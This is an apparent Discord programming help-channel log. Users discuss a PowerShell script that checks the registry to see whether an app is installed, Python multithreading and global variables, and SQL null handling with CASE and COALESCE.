It looked to me like they are using LLVM as a backend - if that's the case, all they would really need is to write the parser to generate the stack frames so LLVM can write out the binary

Hey there,

The variable $appName is being used as a string variable (although not specified), this will be the application name the script will search for

$appName = 'application-name' 

When an app is installed in Windows, it'll create a registry entry so that it can be uninstalled. This variable is simply taking note of which registry folder the script needs to search

$uninstReg = @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall') ```

This variable will get all of the items in one or more specified locations, they've added the -ErrorAction SilentlyContinue because I presume any errors would cause the script to hault. Those results are piped into another command to get the itemproperty, those results are piped so that a filter can be applied to only look for items where the DisplayName looks like what was entered in the $appName variable
```powershell
$installed = @(Get-ChildItem $uninstReg -ErrorAction SilentlyContinue | Get-ItemProperty | Where-Object {($_.DisplayName -like $appName)}) 

Lastly if the $installed variable returns True, then Powershell will return the exit code 0 (which is the same as True) otherwise in all other cases Powershell will return a 1 (which is the same as False)

if ($installed) { return 0 } else { return 1 }

The script won't actually uninstall anything, it's only returning whether the app you're looking for is installed or not based on whether the registry key is present.
I hope this helps!

I am trying to execute threads with time between each but I am struggling

    global queue_time
    queue_time += int(input("Time between threads ------>: "))
    return queue_time```
this is what I currently use and I time.sleep(queue) in the function

This works great for the initial threads but I sometimes restart threads when they encounter errors, so whenever that happens, all initial threads are already running except 1 but it still waits for all the time combined anyways

any way to make it dynamic?

I am thinking about time.time() but seems funky

[true pumice]

Before I give a few ideas, first I would like to explain how functions work in Python.
In all programming languages, for functions to work you will have the parameters (so the argument passed into the function) and the value that is returned.

So, if I wanted to have a program to display my name, I would simply do:

def display_name(name):
  print("Hello " + name)

display_name("John")

In this example, the variable "name" in display_name(name) is referred to as a parameter, without having it there, I would not be able to use the variable "name" in the function without defining it. This allows us to access a variable from another section of the code, without having to directly define it inside the function.

Similarly, variables/ values defined inside of functions usually cannot be accessed outside of the code, this is why we use the return statement.
So, if I wanted to call the function but return the value, the code would like like this:

def display_name(name):
  return "Hello " + name

name = input("Please enter your name: ")
say_hello = display_name(name)
print(say_hello)

This was a little long winded of an example, but I hope you understand why I did what I did.
Now, in your code, you are using global queue_time, as well as returning that exact value. You have made the queue_time variable accessible throughout the code, but also returned it which kind of makes the global code useless unless it is defined before the function, but this can be passed into the function using parameters as stated above.

[cursive orchid]

anyone know how to get the second SELECT to return results without null?

[true pumice]

I would recommend researching what global does respectively because you rarely actually need to use it and when you do, it is more than obvious that you need to make a variable global. It is also very messy and can get complicated from both a coding stand point and from outside when reading your code.

[cursive orchid]

basically combining each result

(Cant use ‘where age is not null or location is not null’ because that has to go before GROUP BY and then it does it on singular rows rather than the grouped row)

[true pumice]

Could you try specifying a UUID?

[lilac holly]

oh no the code actually works fine I have the global variable defined already, it's a multithreaded script so I have a global variable to keep track of the time across all threads

[true pumice]

ffs ignore, Discord goes brr

[lilac holly]

But it's just that I can't sync it properly

Like whenever a function dies the function tells it to run after an hour while the queue is actually empty

[true pumice]

Are you using thread.cancel anywhere?

[lilac holly]

no

it's a selenium script

[true pumice]

You need to cancel your threads if they're erroring

I'd probably code a thread handler

[lilac holly]

I don't want the number of threads to decrease, if I cancel the thread won't it just die and stop the rest of the code?

[cursive orchid]

what do you mean?

[lilac holly]

cause ideally I'd want it to recursively run another thread when one dies

[true pumice]

Sorry, just to understand, are you looking to get both results to be inserted into the same row or just non-null results to not be returned?

[wraith latch]

You're getting a null because that collumn contains a null. You could use a CASE statement for example to change the null into something else

[gentle nexus]

anyone familiar with Golang here ? :V I wanna do some packet analysis , like reading the packets and classing them depends of some attacks , but Gopacket library doesnt look like it can help

[magic falcon]

using globals this way is a terrible idea. it makes everything way more complicated, and can introduce some really terrible to debug race conditions. Use a thread pool to manage your threads, and remember to appropriately close your thread objects as dictated by whatever thread mechanism you are using.

[magic falcon]

No. This is why they are never stopping. Recursively starting a thread is a great way to cause the python stack to topple over.

[true pumice]

This is the only thing I could think of but I don't think it is your desired output

[cursive orchid]

yeah i tried this too

[true pumice]

I don't think it's possible ngl

[cursive orchid]

doesn’t work because group by only returns the first grouping

rather than all groups

and the first group is the first row, without a location

[wraith latch]

the having this or that clause won't work because only one of them need to be true for it to return a result

[gentle nexus]

[wraith latch]

I'd use a CASE statement:

SELECT firstName, lastName, age, location

CASE
WHEN firstName is null then 'Enter string to replace null with'
WHEN lastName is null then 'Enter string to replace null with'
WHEN age is null then 'Enter string to replace null with'
WHEN location is null then 'Enter string to replace null with'
END 

GROUP BY firstName, lastName

Or you can use coalesce:

SELECT coalesce(columncontainingnullhere, 'Enter string to replace null with')

You can also change the order by, if a particular column returns null as per this example from w3 schools:

SELECT CustomerName, City, Country
FROM Customers
ORDER BY
(CASE
    WHEN City IS NULL THEN Country
    ELSE City
END)

Awesome, glad that helped!

[lilac holly]

how do I make a multithreaded python script sleep until a variable is set?
a while True loop and break if variable is true?

[lilac holly]

but I don't want just sleep since it's undefined time

I want it to check if another function has executed and if it did then it can proceed to return something

a timed loop will only be wasting resources I believe

[onyx merlin]

That's called a spin lock

Inter process signalling and communication is the hardest part of concurrency

[lilac holly]

It's really simple in my mind but it's just that everything messes around when they are all working yes

but thanks now I know what to look for
